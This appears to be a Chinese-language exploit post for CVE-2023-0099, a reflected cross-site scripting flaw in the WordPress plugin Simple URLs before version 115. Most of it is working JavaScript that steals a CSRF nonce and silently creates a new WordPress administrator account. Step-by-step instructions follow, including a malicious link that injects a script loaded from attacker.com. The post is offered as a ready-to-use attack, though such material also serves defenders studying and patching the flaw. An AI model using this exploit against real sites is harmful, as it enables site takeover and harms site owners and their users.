CVE-2023-0099-利用

利用标题：simple urls < 115 - 反射型XSS

Google Dork:

利用作者：AmirZargham

厂商主页：https://getlasso.co/

软件链接：https://wordpress.org/plugins/simple-urls/

版本：< 115

测试环境：firefox,chrome

CVE：CVE-2023-0099

CWE：CWE-79

平台：多平台

类型：Web应用

描述 WordPress插件Simple URLs 115之前版本在将某些参数输出回页面时未进行净化与转义，导致反射型跨站脚本漏洞，可能被高权限用户（如管理员）利用。

利用代码：

function getCSRFToken(url, csrf_token_id, func){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if(this.readyState == 4 && this.status == 200){
var parser = new DOMParser();
var htmlDocument = parser.parseFromString(this.responseText, "text/html");
var token = htmlDocument.getElementById(csrf_token_id).value;
func(token);
}

};
xhr.open("GET", url, true);
xhr.withCredentials = true;
xhr.send();

}

function addAdmin(token){
var xhr = new XMLHttpRequest();
xhr.open("POST","http://vulnerable.site/wp-admin/user-new.php", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("action=createuser&_wpnonce_create-user=" + token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=hack-admin&[email protected]&first_name=&last_name=&url=&pass1=1234&pass2=1234&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User");
}

getCSRFToken("http://vulnerable.site/wp-admin/user-new.php", "_wpnonce_create-user", addAdmin);

使用说明：

1. 将利用代码保存为JavaScript文件到服务器。
2. 在利用文件中修改以下值：
   • user_login: 任意用户名
   • pass1: 任意密码
   • pass2: 任意密码
   • email: 任意邮箱
3. 将恶意链接发送给受害者：https://vulnerable.com/wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=</script><script src="https://attacker.com/exploit.js"></script>
4. 管理员用户已创建，访问 /wp-admin 等页面，登录到WordPress面板。

发表于：exploit-db.

发表于：0day.today.

发表于：packet storm.